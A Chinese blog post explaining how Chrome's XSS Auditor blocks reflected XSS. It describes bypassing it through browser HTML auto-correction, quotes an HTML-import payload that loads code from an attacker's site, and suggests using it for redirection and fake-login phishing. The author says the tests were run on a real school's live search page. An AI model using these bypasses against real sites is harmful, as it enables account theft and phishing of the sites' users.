这是一个被加入在了chrome内核中的安全功能,之所以加入内核是为了其它调用chrome内核的浏览器也具备这个功能,目的是为了抵御XSS,功能很强大,对反射型XSS而言,感觉一大半的payload都被过滤掉了,DOM的话效果弱很多,而存储型根本没用。与之类似的IE中也有自己的XSS Filter。
(我写这篇博客用的chrome是最新的56)
我们看看它是怎么描述的:
大概意思是本页中的源码被发现同样存在于请求当中,所以拒绝执行。注意,是“存在于请求中”,所以不光是GET,POST请求也无法幸免。
这是个什么概念呢,难道所有的字符串都不行吗?想想也知道肯定不会。其实在这里它还是用了黑名单的思想,针对危险的标签和危险的属性做重点检查,而且规则非常严格,典型的一刀砍,它不管你是否真的有危险代码和函数,只要有可以执行脚本的可能,就会过滤拦截。
我们可以做下实验(我懒得自己搭环境了,用最近挺火的帝都某小学搜索页面做例子),首先测试“ hello xss
”,这肯定不会拦截的:
因为XSS Auditor认为这个标签是安全的,同时其中也没有危险属性,那我们这样加个“危险属性”试试呢, hello xss
:
这都行??在这里过滤器不去管语法上p标签是否存在onerror事件,更不管事件中的代码是否可以真的执行,直接一刀切,全部净化掉。
所以像什么,
, 想都不用想,全部会被净化掉,更别说用什么 了,更会被瞬间秒杀。
所以目前来看大部分的payload都会被过滤掉。
要想绕过它,就要了解它的判定方式,我们依旧回到刚刚的那句话“本页中的源码被发现同样存在于请求当中,所以拒绝执行”,多读几遍,你就能明白它的原理其实就是匹配危险代码是否存在请求当中 ,只要我们想办法让请求中的代码和渲染出来的代码不一样,不就绕过去了吗?
这里又有个问题,因为XSS的可利用原因就是页面将我们请求中的代码不经过滤和处理的一模一样渲染到了页面,此时又说让请求中的代码和渲染出来的代码不一样,岂不是互相矛盾吗?
这里的关键就是要看浏览器如何渲染这个页面了,在松散的HTML世界里,有个东西叫做“修正式渲染”,意思是当你所写的HTML代码不符合规范时,渲染引擎会主动帮助你规范化,如配对标签、配对尖括号等。我们就是要利用浏览器的主动规范化功能,让原本不能执行的代码,变得可以执行。
像下面这行代码,原本不符合语法规范:
浏览器渲染之后成了这样:
data属性一直遇到下一个尖括号才闭合(如果你给data属性值加上双引号,那么它会遇到下一个双引号才闭合),并成功执行了页面中的脚本:
那是不是随意什么属性都可以这样呢?其实还是不行。。。要是能成功也太简单了,其实XSS Auditor不仅过滤了那些重点的事件,连 javascript 伪协议都过滤了,目前我所发现的方式几乎都难以在同源页面注入代码,全被隔离了。
这个可用的payload是我在网上找到的:
rel="import" href="http:yoursite.com"
将站点设置为任意URL路径请求都返回你的代码,就可以完成bypass。
payload 出处:https://www.leavesongs.com/chrome-xss-auditor-bypass-collection.html?utm_source=tuicool&utm_medium=referral
这是link标签的一个新功能,用于外部HTML资源的载入,其实和iframe的功能类似,并且也受SOP限制,但有个很奇怪的设定让它变得很牛逼,就是它和父文档共用一个document对象,甚至同一个全局环境。。。
其实刚刚我们也成功加载了脚本,只不过受SOP的限制,被隔离在另外的源,无法获取cookie,但也有一些其它利用方式:
(1)URL重定向
原页面是父页,我们加载的页面是子页,子页对父页的location有写操作,可以完成重定向。
(2)钓鱼
可以将我们加载的页面覆盖整个屏幕,伪造一个该网站的登陆页面。
感觉现在反射型XSS已经越来越难利用了,XSS Auditor随着更新变得越来越严格,或许上面的方法在几个版本之后也会失效。但漏洞就是漏洞,不能寄希望于浏览器帮助你抵御,写的再好的Filter,肯定有可以绕过的地方,只要能有一种方式绕过,那就说明有危险。
以上或许有许多不对的地方,还望各位发现了能不吝指点一下。